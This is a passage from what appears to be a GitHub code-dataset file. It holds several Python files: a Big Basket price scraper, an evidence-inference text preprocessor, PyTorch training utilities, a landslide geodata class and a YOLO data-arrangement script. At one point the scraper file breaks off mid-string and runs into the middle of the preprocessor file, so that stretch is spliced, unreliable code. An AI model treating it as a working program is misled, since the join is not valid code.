'form_page',\n 'init': {\n 'path': '/api/v1/tenant/{parent_lookup_tenant}/extension/{id}/',\n 'method': 'get'\n },\n 'global': {\n 'update': {\n 'path': '/api/v1/tenant/{parent_lookup_tenant}/extension/{id}/',\n 'method': 'put',\n 'description': '确定'\n }\n }\n }\n)","repo_name":"0079123/arkid","sub_path":"api/v1/pages/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"1458225480","text":"#This program has been created to extract the prices from Big Basket\n#It currently can extract the prices only from the category list of products, eg. Friuts and Vegetables\n#Urls of the pages has to be proived in the excel-urls.csv present in the main project folder\n#DO NOT CHANGE THE NAME/EXTENSION OF urls.csv\n#This program generates an output file-prices-(date-time).csv, which extracts the product item, mrp and final price\n\nimport scrapy\nimport csv\nfrom itertools import zip_longest\nimport datetime\nimport re\nimport json\nfrom selenium import webdriver \nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nclass ProductPriceSpider(scrapy.Spider):\n\tname = \"bigbasket\"\n\n\tdef __init__(self):\n\t\tself.driver = webdriver.Chrome('/usr/bin/chromedriver')\n\t\t\t\t\t \n\tdef start_requests(self):\n\t\t#List of all urls to be searched. Commenting below code for testing \n\t\turls = []\n\n\t\t#reading input csv file\n\t\tfileName = \"urls.csv\"\n\t\twith open(fileName, 'r') as f:\n\t\t\tfor line in f.readlines():\n\t\t\t\turls.append(line)\n\n\t\tself.log(urls) \n\n\t\t#start extracting for all urls\n\t\tfor url in urls:\n\t\t\tself.log(url)\n\t\t\tyield scrapy.Request(url=url, callback=self.parse_link)\n\n\t#Parser specific for bigbasket htmls\n\t#Parser extracts item product name, quantity, MRP and final price\n\tdef parse_link(self, response):\t\t\t\n\t\tself.log(response.url)\n\t\tself.driver.get(response.url)\n\t\t\n\t\t#For list of subcategories of items wait for 15secs or until element is loaded\n\t\titems = WebDriverWait(self.driver, 15).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"div.tab-content div.item.prod-deck.row.ng-scope div.clearfix div.ng-scope\"))\n\t\t)\n\t\t\n\t\t#For individual product\n\t\titem = WebDriverWait(self.driver, 15).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"div.uiv2-product-detail-content.wid-250\"))\n\t\t)\n\t\n\t\tif items:\n\t\t\tself.log(\"Inside items\")\n\t\t\t#Product title rows\n\t\t\tproduct_titles = []\n\t\t\ttitle_rows = self.driver.find_elements(By.XPATH, '//*[@id=\"dynamicDirective\"]/product-deck/section/div[2]/div[4]/div[1]/div/div[1]/div[2]/div/div/product-template/div/div[4]/div/a')\n\t\t\t#Extract only the required value from the string\n\t\t\tfor row in title_rows:\n\t\t\t\tproduct_titles.append(row.get_attribute('text'))\n\t\t\tself.log(product_titles)\n\n\t\t\t#Product measurement rows\n\t\t\tproduct_measures = []\n\t\t\tmeasure_rows = self.driver.find_elements(By.XPATH, '//*[@id=\"dynamicDirective\"]/product-deck/section/div[2]/div[4]/div[1]/div/div[1]/div[2]/div/div/product-template/div/div[4]/div[2]/div//span[1]/span[@ng-bind=\"vm.selectedProduct.w\"]')\n\t\t\t#Extract only the required value from the string\n\t\t\tfor row in measure_rows:\n\t\t\t\tproduct_measures.append(row.text)\n\t\t\tself.log(product_measures)\n\t\t\t\n\t\t\t#Product MRP rows\n\t\t\tproduct_mrps = []\n\t\t\tmrp_rows = self.driver.find_elements(By.XPATH, '//*[@id=\"dynamicDirective\"]/product-deck/section/div[2]/div[4]/div[1]/div/div[1]/div[2]/div/div/product-template/div/div[4]/div[3]/div/div/h4/span[1]/span')\n\t\t\t#Extract only the MRP from the string\t\n\t\t\tfor row in mrp_rows:\n\t\t\t\tproduct_mrps.append(row.text)\n\t\t\tself.log(product_mrps)\n\n\t\t\t#Product final prize rows\n\t\t\tproduct_prices = []\n\t\t\toffer_rows = self.driver.find_elements(By.XPATH, '//*[@id=\"dynamicDirective\"]/product-deck/section/div[2]/div[4]/div[1]/div/div[1]/div[2]/div/div/product-template/div/div[4]/div[3]/div/div[1]/h4/span[2]/span')\n\t\t\t#Extract the final price from the string\t\n\t\t\tfor row in offer_rows:\n\t\t\t\tproduct_prices.append(row.text)\n\t\t\tself.log(product_prices)\n\n\t\telif item is not None:\n\t\t\tself.log(\"Inside item\")\n\t\t\t#Product title rows\n\t\t\tproduct_titles = []\n\t\t\ttitle = self.driver.find_element(By.XPATH, '//*[@id=\"slidingProduct*\"]/div[2]/div[2]/h1').text\n\t\t\tproduct_titles.append(title)\n\t\t\tself.log(product_titles)\n\n\t\t\t#Product measurement rows\n\t\t\tproduct_measures = []\n\t\t\t#measure = self.driver.find_element(By.CSS_SELECTOR, \"div.uiv2-product-detail-content.wid-250 div.uiv2-product-size div.uiv2-size-variants label\").split(\"

    \", \"\")\n\n\ndef extract_text_from_prompts(prompts_df):\n I, C, O = prompts_df['Intervention'].values, prompts_df['Comparator'].values, prompts_df['Outcome'].values\n all_prompt_text = [s.lower() for s in np.concatenate([I, C, O])]\n return all_prompt_text\n\n\ndef get_inference_vectorizer(article_ids=None, sections_of_interest=None, vocabulary_file=None):\n\n # if article_ids is None, will use all articles\n # in the CSV passed to the read_in_articles method.\n articles = read_in_articles(article_ids=article_ids)\n raw_texts = [extract_raw_text(article, sections_of_interest) for article in articles]\n\n # we also use the prompts text to construct our vectorizer\n prompts = read_prompts()\n raw_prompt_text = \" \".join(extract_text_from_prompts(prompts))\n\n raw_texts.append(raw_prompt_text)\n\n # there is at least one prompt with tokens short enough that CountVectorizer's default destroys it, so we allow any single character through.\n if vocabulary_file is not None:\n with open(vocabulary_file, 'r') as vf:\n vocab = [line.strip() for line in vf]\n vectorizer = CountVectorizer(vocabulary=vocab, token_pattern=r\"\\b\\w+\\b\")\n print(\"Loaded {} words from vocab file {}\".format(len(vocab), vocabulary_file))\n else:\n vectorizer = CountVectorizer(max_features=20000, token_pattern=r\"\\b\\w+\\b\")\n vectorizer.fit(raw_texts)\n tokenizer = vectorizer.build_tokenizer() \n\n str_to_idx = vectorizer.vocabulary_\n str_to_idx[SimpleInferenceVectorizer.PAD] = max(vectorizer.vocabulary_.values())\n str_to_idx[SimpleInferenceVectorizer.UNK] = str_to_idx[SimpleInferenceVectorizer.PAD]+1\n \n # note that for now the vectorizer is fit using only the\n # article texts (i.e., the vocab is based on words in full-texts,\n # not in prompts necessarily).\n return SimpleInferenceVectorizer(str_to_idx, tokenizer)\n\n\ndef read_annotations():\n anno_df = pd.read_csv(anno_csv_path)\n # we need to force EVIDENCE_COL_NAME to be strings in all cases; pandas occasionally reads some values as floats.\n anno_df = anno_df[anno_df.apply(lambda row: bool(row[VALID_LABEL]) and bool(row[VALID_REASONING]) and len(str(row[EVIDENCE_COL_NAME])) > 0 and row[LABEL] != 'invalid prompt', axis=1)]\n #annos[~annos[\"Answer_Val\"].isin([-1, 0, 1])]\n # TODO revisit this; right now just overwriting for convienence\n # anno_df[\"Answer_Val\"].replace({3:0}, inplace=True)\n return anno_df\n\n\ndef read_prompts():\n prompts_df = pd.read_csv(prompts_csv_path)\n prompts_df = prompts_df[prompts_df.apply(lambda row: all(map(lambda x: type(x) == str and x is not None and bool(x.strip()), [row['Comparator'], row['Intervention'], row['Outcome']])), axis=1)]\n return prompts_df \n\ndef assemble_Xy_for_prompts(training_prompts, inference_vectorizer, lbls_too=False, annotations=None, sections_of_interest=None, include_sentence_span_splits=False, include_raw_texts=False): \n Xy = []\n for prompt_id in training_prompts[PROMPT_ID_COL_NAME].values:\n if lbls_too:\n Xy_dict = inference_vectorizer.vectorize(training_prompts, prompt_id, \n include_lbls=True, annotations_df=annotations, sections_of_interest=sections_of_interest, \n include_sentence_span_splits=include_sentence_span_splits, include_raw_text=include_raw_texts)\n else:\n Xy_dict = inference_vectorizer.vectorize(training_prompts, prompt_id, sections_of_interest=sections_of_interest, \n include_sentence_span_splits=include_sentence_span_splits, include_raw_text=include_raw_texts)\n Xy.append(Xy_dict)\n return Xy\n\n\ndef _read_ids(f):\n with open(f, 'r') as tf:\n ids = list(int(x.strip()) for x in tf.readlines())\n ids_dict = OrderedDict()\n for x in ids:\n ids_dict[x] = x\n return set(ids_dict.keys())\n\ndef train_document_ids():\n \"\"\" Returns the set of document ids for a fixed training set \"\"\"\n return _read_ids(_train_id_file)\n\ndef validation_document_ids():\n \"\"\" Returns the set of document ids for a fixed validation set \"\"\"\n return _read_ids(_validation_id_file)\n\ndef test_document_ids():\n \"\"\" Returns the set of documents for a fixed test set \"\"\"\n return _read_ids(_test_id_file)\n\ndef get_train_Xy(train_doc_ids, sections_of_interest=None, vocabulary_file=None, include_sentence_span_splits=False, include_raw_texts=False):\n \"\"\" Loads the relevant documents, builds a vectorizer, and returns a list of training instances\"\"\"\n prompts = read_prompts()\n annotations = read_annotations()\n\n\n # filter out prompts for which we do not have annotations for whatever reason\n # this was actually just one case; not sure what was going on there.\n def have_annotations_for_prompt(prompt_id):\n return len(annotations[annotations[PROMPT_ID_COL_NAME] == prompt_id]) > 0\n\n prompts = [prompt for row_idx, prompt in prompts.iterrows() if \n have_annotations_for_prompt(prompt[PROMPT_ID_COL_NAME])]\n prompts = pd.DataFrame(prompts)\n\n inference_vectorizer = get_inference_vectorizer(article_ids=train_doc_ids, sections_of_interest=sections_of_interest, vocabulary_file=vocabulary_file)\n\n training_prompts = prompts[prompts[STUDY_ID_COL].isin(train_doc_ids)]\n\n training_prompts = pd.DataFrame(training_prompts)\n train_Xy = assemble_Xy_for_prompts(training_prompts, inference_vectorizer, lbls_too=True, annotations=annotations, include_sentence_span_splits=include_sentence_span_splits, include_raw_texts=include_raw_texts)\n\n return train_Xy, inference_vectorizer\n\n\ndef get_Xy(docids, inference_vectorizer: 'SimpleInferenceVectorizer', sections_of_interest=None, include_sentence_span_splits=False, include_raw_texts=False):\n prompts = read_prompts()\n annotations = read_annotations()\n\n # filter out prompts for which we do not have annotations for whatever reason\n # this was actually just one case; not sure what was going on there.\n def have_annotations_for_prompt(prompt_id):\n return len(annotations[annotations[PROMPT_ID_COL_NAME] == prompt_id]) > 0\n\n prompts = [prompt for row_idx, prompt in prompts.iterrows() if\n have_annotations_for_prompt(prompt[PROMPT_ID_COL_NAME])]\n prompts = pd.DataFrame(prompts)\n\n prompts = prompts[prompts[STUDY_ID_COL].isin(docids)]\n Xy = assemble_Xy_for_prompts(prompts, inference_vectorizer, lbls_too=True, annotations=annotations, sections_of_interest=sections_of_interest, include_sentence_span_splits=include_sentence_span_splits, include_raw_texts=include_raw_texts)\n return Xy\n\n\nclass SimpleInferenceVectorizer:\n UNK = \"\"\n PAD = \"\"\n\n def __init__(self, str_to_idx, tokenizer):\n self.str_to_idx = str_to_idx\n self.idx_to_str = [None]*(len(self.str_to_idx))\n self.sentence_splits = {} # map of article ids to array of sentence splits\n self.token_evidence = {}\n \n for w, idx in self.str_to_idx.items():\n try:\n self.idx_to_str[idx] = w \n except:\n import pdb; pdb.set_trace()\n\n self.tokenizer = tokenizer\n\n def string_to_seq(self, s):\n tokenized = self.tokenizer(s)\n unk_idx = self.str_to_idx[SimpleInferenceVectorizer.UNK]\n vectorized = [self.str_to_idx.get(token, unk_idx) for token in tokenized]\n return np.array(vectorized)\n\n def vectorize(self, prompts_df, prompt_id, include_lbls=False, annotations_df=None, sections_of_interest=None, \n include_sentence_span_splits=False, include_raw_text=False):\n \"\"\"\n Vectorize the prompt specified by the ID.\n \"\"\"\n if include_lbls and annotations_df is None:\n raise ValueError(\"When including annotations, they must already be defined\")\n\n prompt = prompts_df[prompts_df[PROMPT_ID_COL_NAME]==prompt_id]\n\n ###\n # vectorize the article itself.\n article_id = str(prompt[STUDY_ID_COL].values[0])\n article = get_article(article_id)\n article_text = extract_raw_text(article, sections_of_interest)\n article_text = article_text.lower()\n vectorized_article = self.string_to_seq(article_text)\n \n ###\n # and now vectorize the prompt (I/C/O)\n I_v = self.string_to_seq(prompt[\"Intervention\"].values[0].lower())\n C_v = self.string_to_seq(prompt[\"Comparator\"].values[0].lower())\n O_v = self.string_to_seq(prompt[\"Outcome\"].values[0].lower())\n\n return_dict = {\"article\":vectorized_article, \"I\":I_v, \"C\":C_v, \"O\":O_v, \"a_id\": article_id, \"p_id\": prompt_id}\n\n if include_lbls:\n # then also read out the labels.\n assert (annotations_df is not None)\n annotations_for_prompt = annotations_df[annotations_df[PROMPT_ID_COL_NAME] == prompt_id]\n labels = annotations_for_prompt[[LBL_COL_NAME,EVIDENCE_COL_NAME]].values\n return_dict[\"y\"] = labels\n # remove html tags\n for l in labels:\n parser.feed(str(l[1]))\n l[1] = parser.get_data()\n \n spans = annotations_for_prompt[[EVIDENCE_START,EVIDENCE_END]].values\n if len(spans) > 0 and sections_of_interest is None:\n # split into sentences, find which are evidence, and also encode all.\n sentence_spans = []\n if include_raw_text or include_sentence_span_splits:\n sen = split_into_sentences(article_id, article_text, self.sentence_splits)\n if include_raw_text:\n return_dict[\"all_article_sentences\"] = sen \n\n if include_sentence_span_splits:\n tmp = find_span_location(sen, [s[0] for s in spans], [e[1] for e in spans])\n for t in tmp:\n sentence_spans.append([self.string_to_seq(t[0]), t[1]])\n \n # encode the evidence spans \n evidence_spans = set()\n for start, end in spans:\n article_before_span = article_text[:int(start)]\n # +1 because the slice gets every character (and therefore token) *before* the evidence, so we want to offset the token count by 1 to actually start in the evidence\n span_start_idx = len(self.tokenizer(article_before_span)) + 1\n article_at_end_of_span = article_text[:int(end)]\n span_end_idx = len(self.tokenizer(article_at_end_of_span))\n evidence_spans.add((span_start_idx, span_end_idx))\n \n return_dict['sentence_span'] = sentence_spans \n return_dict['evidence_spans'] = evidence_spans\n if include_sentence_span_splits:\n return_dict['token_ev_labels'] = gen_exact_evid_array(sentence_spans, evidence_spans, return_dict, self.idx_to_str)\n \n return return_dict\n\n def decode(self, v):\n return [self.idx_to_str[idx] for idx in v]\n","repo_name":"jayded/evidence-inference","sub_path":"evidence_inference/preprocess/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":16616,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"32"} +{"seq_id":"102199253","text":"import atexit\nimport functools\nimport logging\nimport os\nimport random\nimport sys\nfrom collections import defaultdict\nfrom dataclasses import fields, is_dataclass\nfrom typing import Any, Mapping, Protocol, runtime_checkable\n\nimport hydra\n\nimport numpy as np\nimport torch\nimport torch.distributed as dist\nfrom iopath.common.file_io import g_pathmgr\nfrom omegaconf import OmegaConf\n\n\ndef register_omegaconf_resolvers():\n OmegaConf.register_new_resolver(\"get_method\", hydra.utils.get_method)\n OmegaConf.register_new_resolver(\"get_class\", hydra.utils.get_class)\n OmegaConf.register_new_resolver(\"times\", lambda x, y: x * y)\n OmegaConf.register_new_resolver(\"divide\", lambda x, y: x / y)\n OmegaConf.register_new_resolver(\"range\", lambda x: list(range(x)))\n OmegaConf.register_new_resolver(\"int\", lambda x: int(x))\n\n\ndef setup_distributed_backend(backend):\n \"\"\"\n Initialize torch.distributed and set the CUDA device.\n Expects environment variables to be set as per\n https://pytorch.org/docs/stable/distributed.html#environment-variable-initialization\n along with the environ variable \"LOCAL_RANK\" which is used to set the CUDA device.\n This is run inside a new process, so the cfg is reset and must be set explicitly.\n \"\"\"\n local_rank = int(os.environ[\"LOCAL_RANK\"])\n torch.distributed.init_process_group(backend=backend)\n\n\ndef get_machine_local_and_dist_rank():\n \"\"\"\n Get the distributed and local rank of the current gpu.\n \"\"\"\n local_rank = int(os.environ.get(\"LOCAL_RANK\", None))\n distributed_rank = int(os.environ.get(\"RANK\", None))\n assert (\n local_rank is not None and distributed_rank is not None\n ), \"Please the set the RANK and LOCAL_RANK environment variables.\"\n return local_rank, distributed_rank\n\n\ndef print_cfg(cfg):\n \"\"\"\n Supports printing both Hydra DictConfig and also the AttrDict config\n \"\"\"\n logging.info(\"Training with config:\")\n logging.info(OmegaConf.to_yaml(cfg))\n\n\ndef set_seeds(seed_value, max_epochs, dist_rank):\n \"\"\"\n Set the python random, numpy and torch seed for each gpu. Also set the CUDA\n seeds if the CUDA is available. This ensures deterministic nature of the training.\n \"\"\"\n # Since in the pytorch sampler, we increment the seed by 1 for every epoch.\n seed_value = (seed_value + dist_rank) * max_epochs\n logging.info(f\"MACHINE SEED: {seed_value}\")\n random.seed(seed_value)\n np.random.seed(seed_value)\n torch.manual_seed(seed_value)\n if torch.cuda.is_available():\n torch.cuda.manual_seed_all(seed_value)\n\n\ndef makedir(dir_path):\n \"\"\"\n Create the directory if it does not exist.\n \"\"\"\n is_success = False\n try:\n if not g_pathmgr.exists(dir_path):\n g_pathmgr.mkdirs(dir_path)\n is_success = True\n except BaseException:\n logging.info(f\"Error creating directory: {dir_path}\")\n return is_success\n\n\ndef is_dist_avail_and_initialized():\n if not dist.is_available():\n return False\n if not dist.is_initialized():\n return False\n return True\n\n\ndef get_amp_type(amp_type: str):\n\n assert amp_type in [\"bfloat16\", \"float16\"], \"Invalid Amp type.\"\n\n if amp_type == \"bfloat16\":\n return torch.bfloat16\n else:\n return torch.float16\n\n\n@runtime_checkable\nclass _CopyableData(Protocol):\n def to(self, device: torch.device, *args: Any, **kwargs: Any):\n \"\"\"Copy data to the specified device\"\"\"\n ...\n\n\ndef _is_named_tuple(x) -> bool:\n return isinstance(x, tuple) and hasattr(x, \"_asdict\") and hasattr(x, \"_fields\")\n\n\ndef copy_data_to_device(data, device: torch.device, *args: Any, **kwargs: Any):\n \"\"\"Function that recursively copies data to a torch.device.\n\n Args:\n data: The data to copy to device\n device: The device to which the data should be copied\n args: positional arguments that will be passed to the `to` call\n kwargs: keyword arguments that will be passed to the `to` call\n\n Returns:\n The data on the correct device\n \"\"\"\n\n if _is_named_tuple(data):\n return type(data)(\n **copy_data_to_device(data._asdict(), device, *args, **kwargs)\n )\n elif isinstance(data, (list, tuple)):\n return type(data)(copy_data_to_device(e, device, *args, **kwargs) for e in data)\n elif isinstance(data, defaultdict):\n return type(data)(\n data.default_factory,\n {\n k: copy_data_to_device(v, device, *args, **kwargs)\n for k, v in data.items()\n },\n )\n elif isinstance(data, Mapping):\n return type(data)(\n {\n k: copy_data_to_device(v, device, *args, **kwargs)\n for k, v in data.items()\n }\n )\n elif is_dataclass(data) and not isinstance(data, type):\n new_data_class = type(data)(\n **{\n field.name: copy_data_to_device(\n getattr(data, field.name), device, *args, **kwargs\n )\n for field in fields(data)\n if field.init\n }\n )\n for field in fields(data):\n if not field.init:\n setattr(\n new_data_class,\n field.name,\n copy_data_to_device(\n getattr(data, field.name), device, *args, **kwargs\n ),\n )\n return new_data_class\n elif isinstance(data, _CopyableData):\n return data.to(device, *args, **kwargs)\n return data\n\n\ndef move_optimizer_state_to_device(\n optimizer: torch.optim.Optimizer, device: torch.device\n) -> torch.optim.Optimizer:\n optimizer.state = copy_data_to_device(optimizer.state, device)\n return optimizer\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n\n def __init__(self, name, device, fmt=\":f\"):\n self.name = name\n self.fmt = fmt\n self.device = device\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n self._allow_updates = True\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n def synchronize(self):\n assert self._allow_updates, \"Please reset the meter to allow synchronization.\"\n if not is_dist_avail_and_initialized():\n return\n t = torch.tensor(\n [self.sum, self.count], dtype=torch.float64, device=self.device\n )\n dist.barrier()\n dist.all_reduce(t)\n t = t.tolist()\n self.sum = int(t[0])\n self.count = t[1]\n self.avg = self.sum / self.count if self.count > 0 else np.nan\n self._allow_updates = False\n\n def __str__(self):\n fmtstr = \"{name} {val\" + self.fmt + \"} ({avg\" + self.fmt + \"})\"\n return fmtstr.format(**self.__dict__)\n\n\nclass ProgressMeter(object):\n def __init__(self, num_batches, meters, prefix=\"\"):\n self.batch_fmtstr = self._get_batch_fmtstr(num_batches)\n self.meters = meters\n self.prefix = prefix\n\n def display(self, batch):\n entries = [self.prefix + self.batch_fmtstr.format(batch)]\n entries += [str(meter) for meter in self.meters]\n logging.info(\"\\t\".join(entries))\n\n def synchronize(self):\n for meter in self.meters:\n meter.synchronize()\n\n def _get_batch_fmtstr(self, num_batches):\n num_digits = len(str(num_batches // 1))\n fmt = \"{:\" + str(num_digits) + \"d}\"\n return \"[\" + fmt + \"/\" + fmt.format(num_batches) + \"]\"\n\n\ndef get_resume_checkpoint(checkpoint_save_dir):\n\n if not g_pathmgr.isdir(checkpoint_save_dir):\n return None\n ckpt_file = os.path.join(checkpoint_save_dir, \"checkpoint.pt\")\n if not g_pathmgr.isfile(ckpt_file):\n return None\n\n return ckpt_file\n\n\n# TODO: Move this to a separate logging file.\n\n\ndef setup_logging(name, output_dir=None, rank=0):\n \"\"\"\n Setup various logging streams: stdout and file handlers.\n For file handlers, we only setup for the master gpu.\n \"\"\"\n # get the filename if we want to log to the file as well\n log_filename = None\n if output_dir:\n makedir(output_dir)\n if rank == 0:\n log_filename = f\"{output_dir}/log.txt\"\n\n logger = logging.getLogger(name)\n logger.setLevel(logging.DEBUG)\n\n # create formatter\n FORMAT = \"%(levelname)s %(asctime)s %(filename)s:%(lineno)4d: %(message)s\"\n formatter = logging.Formatter(FORMAT)\n\n # clean up any pre-existing handlers\n for h in logger.handlers:\n logger.removeHandler(h)\n logger.root.handlers = []\n\n # setup the console handler\n console_handler = logging.StreamHandler(sys.stdout)\n console_handler.setLevel(logging.DEBUG)\n console_handler.setFormatter(formatter)\n logger.addHandler(console_handler)\n\n # we log to file as well if user wants\n if log_filename and rank == 0:\n file_handler = logging.StreamHandler(_cached_log_stream(log_filename))\n file_handler.setLevel(logging.DEBUG)\n file_handler.setFormatter(formatter)\n logger.addHandler(file_handler)\n\n logging.root = logger\n\n\n# cache the opened file object, so that different calls to `setup_logger`\n# with the same file name can safely write to the same file.\n@functools.lru_cache(maxsize=None)\ndef _cached_log_stream(filename):\n # we tune the buffering value so that the logs are updated\n # frequently.\n log_buffer_kb = 10 * 1024 # 10KB\n io = g_pathmgr.open(filename, mode=\"a\", buffering=log_buffer_kb)\n atexit.register(io.close)\n return io\n\n\ndef shutdown_logging():\n \"\"\"\n After training is done, we ensure to shut down all the logger streams.\n \"\"\"\n logging.info(\"Shutting down loggers...\")\n handlers = logging.root.handlers\n for handler in handlers:\n handler.close()\n","repo_name":"facebookresearch/omnivore","sub_path":"omnivision/utils/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9955,"program_lang":"python","lang":"en","doc_type":"code","stars":525,"dataset":"github-code","pt":"32"} +{"seq_id":"24588082881","text":"import os\nimport rasterio\nimport pandas as pd\nimport geopandas as gp\nfrom matplotlib import pyplot as plt\nfrom functools import reduce\nfrom geopandas import GeoDataFrame\nfrom shapely.geometry import Polygon, Point\nfrom rasterio.features import shapes\n\nclass Slidding:\n\n\texport_rain = pd.DataFrame()\n\tdeslizamientos = pd.DataFrame()\t\n\tmunicipios = pd.DataFrame()\n\tfolder = '../Datos/CHIRPS/'\n\trasters = []\n\n\tdef __init__(self, folder = '../Datos/CHIRPS/') -> None:\n\t\tself.folder = folder\n\n\tdef get_date(self, tiff_path):\n\t\ttiff_name = tiff_path.split('/')[-1]\n\t\tdate = '-'.join(tiff_name.split('.')[:-1])\n\t\treturn date\n\n\tdef open_tiff(self, src, date, mask = None):\n\t\tresults = []\n\t\tfor s, v in shapes(src.read(), mask=mask, transform=src.meta['transform']):\n\t\t\tdata = {\n\t\t\t\t'properties': {date: v}, \n\t\t\t\t'geometry': Polygon(s['coordinates'][0]).centroid\n\t\t\t}\n\t\t\tresults.append(data)\n\t\treturn results\n\n\tdef get_raster(self, path):\n\t\tsrc = rasterio.open(path)\n\t\tcrs = src.read_crs()\n\t\tdate = self.get_date(path)\n\t\ttiff = self.open_tiff(src, date)\n\t\tsrc.close()\n\t\traster = GeoDataFrame.from_features(tiff, crs=crs)\n\t\traster['geometry'] = raster['geometry'].to_crs(crs)\n\t\treturn raster\n\n\tdef get_rasters(self):\n\t\tfor file in os.listdir(self.folder):\n\t\t\tif file.endswith('.tif'):\n\t\t\t\tpath = os.path.join(self.folder, file)\n\t\t\t\traster = self.get_raster(path)\n\t\t\t\tself.rasters.append(raster)\n\t\treturn self.rasters\n\n\tdef get_municipios(self):\n\t\tself.municipios = gp.read_file('procesamiento/MGN_ANM_MPIOS.geojson')\n\t\tself.municipios = self.municipios[['DPTO_CCDGO', 'MPIO_CCDGO', 'geometry']]\n\t\treturn self.municipios\n\n\tdef run(self):\n\t\tself.get_rasters()\n\t\tself.get_municipios()\n\t\t\n\t\tself.deslizamientos = gp.read_file('procesamiento/INVENTARIO_FINAL_MM.csv')\n\t\tself.deslizamientos.columns = ['movimiento', 'fecha', 'municipio', 'latitud', 'longitud', 'fuente', 'geometry']\n\t\tself.deslizamientos.geometry = self.deslizamientos.apply(lambda row: Point(float(row['longitud']), float(row['latitud'])), axis=1)\n\t\t# print(deslizamientos.shape)\n\n\t\tself.deslizamientos = self.deslizamientos[['geometry', 'movimiento', 'fecha', 'fuente']]\n\t\tself.deslizamientos.fecha = pd.to_datetime(self.deslizamientos.fecha, format='%d/%m/%Y')\n\t\tself.deslizamientos.set_crs(epsg=4326, inplace=True)\n\t\t# print(deslizamientos.shape)\n\n\t\tself.deslizamientos = self.deslizamientos[self.deslizamientos.fecha >= '2010-01-01']\n\t\t# print(deslizamientos.shape)\n\t\t# deslizamientos.head()\n\n\t\treturn self.deslizamientos\n\n\tdef export_to_geoJson(self):\n\t\t\n\t\tmunicipios = gp.read_file('procesamiento/MGN_ANM_MPIOS.geojson')\n\t\tmunicipios = municipios[['DPTO_CCDGO', 'MPIO_CCDGO', 'geometry']]\n\t\tprint(municipios.shape)\n\t\tmunicipios.head()\n\n\t\t# Obtener los municipios que contienen deslizamientos\n\t\tgeodata = gp.sjoin(self.deslizamientos, municipios, how='left', predicate='intersects')\n\t\tgeodata = geodata[geodata['index_right'].notna()]\n\t\tgeodata = geodata.drop(columns=['index_right'])\n\t\t# print(geodata.shape)\n\t\t# Exportar a GeoJSON\n\t\tgeodata.to_file('deslizamientos.geojson', driver='GeoJSON')\n\t\t# geodata.head()","repo_name":"karinstefa/VA_project","sub_path":"Slidding.py","file_name":"Slidding.py","file_ext":"py","file_size_in_byte":3071,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38387809784","text":"\n\"\"\"\nNoting down steps followed:\n\n1. The ultralytics weights file - made a copy in drive and moved it to the required folder in drive itself\n2. Locally create the folder structure as mentioned here https://github.com/theschoolofai/YoloV3\n3. Created custom.data and custom.names locally inside customdata folder\n4. Changed Images/ to \"data/customdata/images\" in train.txt\n5. Changed .txt to .jpg in train.txt\n6. In train.txt, file named \"Aimgg_005.jpg\" is a typo - so rename it to Aimg_005.jpg\n7. In test.txt, file names ImageYolo.jpg does not exists, so remove it\n8. In test.txt, file names M/img_010 does not exists - so rename it to Mimg_010\n\n\"\"\"\n\nimport os\nimport shutil\nimport zipfile as zp\n\nfrom PIL import Image\n\n\n\n\nZOHEB_ZIPFILE_PATH = \"/home/sai/Documents/repos_and_projects/personal_projects/tsai_projects/assignment13_yolo/YoloV3_Dataset.zip\"\nCUSTOMDATA_FOLDERPATH = \"/home/sai/Documents/repos_and_projects/personal_projects/tsai_projects/assignment13_yolo/images_structured/customdata\"\n\nARRANGED_IMGFOLDER = CUSTOMDATA_FOLDERPATH + \"/images\"\nARRANGED_LBLFOLDER = CUSTOMDATA_FOLDERPATH + \"/labels\"\n\n\n# Code for checking if any value in label texts is above 1.000\n\n\n\n\n# Code for checking if file exists:\n\n\nwith open(\"./data/customdata/train.txt\",\"r\") as infl:\n for k in infl:\n k = k.strip()\n if not os.path.exists( \"/home/sai/Documents/repos_and_projects/personal_projects/tsai_projects/assignment13_yolo/\" + k.replace(\"./\",\"\") ):\n print( \"/home/sai/Documents/repos_and_projects/personal_projects/tsai_projects/assignment13_yolo/\" + k.replace(\"./\",\"\") )\n\n\n\n\ndef make_filepath_list(imgfolder, lblfolder):\n image_files = [ os.path.splitext(l)[0] for l in os.listdir(imgfolder) ]\n label_files = [ os.path.splitext(l)[0] for l in os.listdir(lblfolder) ]\n\n image_names = [ os.path.splitext(l)[0] for l in os.listdir(imgfolder) ]\n\n \n\n\n\ndef rearrange_images_labels_and_zip(zipfile_path, customdata_folderpath):\n\n extract_path, extract_folder = os.path.split(zipfile_path)\n extract_folder = extract_folder.replace(\".zip\",\"\")\n\n # Extract contents from zip\n with zp.ZipFile(zipfile_path, \"r\") as zip:\n zip.extractall()\n\n # Define relevant file paths\n imgfolder = extract_folder + \"/Images\"\n lblfolder = extract_folder + \"/Labels\"\n train_file_list = extract_folder + \"/train.txt\"\n test_file_list = extract_folder + \"/test.txt\"\n name_list = extract_folder + \"/classes.txt\"\n\n dest_imgfolder = ARRANGED_IMGFOLDER\n dest_lblfolder = customdata_folderpath + \"/labels\"\n dest_train_file_list = customdata_folderpath + \"/train.txt\"\n dest_test_file_list = customdata_folderpath + \"/test.txt\"\n dest_name_list = customdata_folderpath + \"/custom.names\"\n \n\n shutil.copytree(imgfolder, dest_imgfolder, dirs_exist_ok=True)\n shutil.copytree(lblfolder, dest_lblfolder, dirs_exist_ok=True)\n shutil.copy(train_file_list, dest_train_file_list)\n shutil.copy(test_file_list, dest_test_file_list)\n shutil.copy(name_list, dest_name_list)\n\n\n\ndef rename_image_exts(arranged_imgfolder):\n\n image_filenames = os.listdir(arranged_imgfolder)\n\n for fl in image_filenames:\n fil, ex = 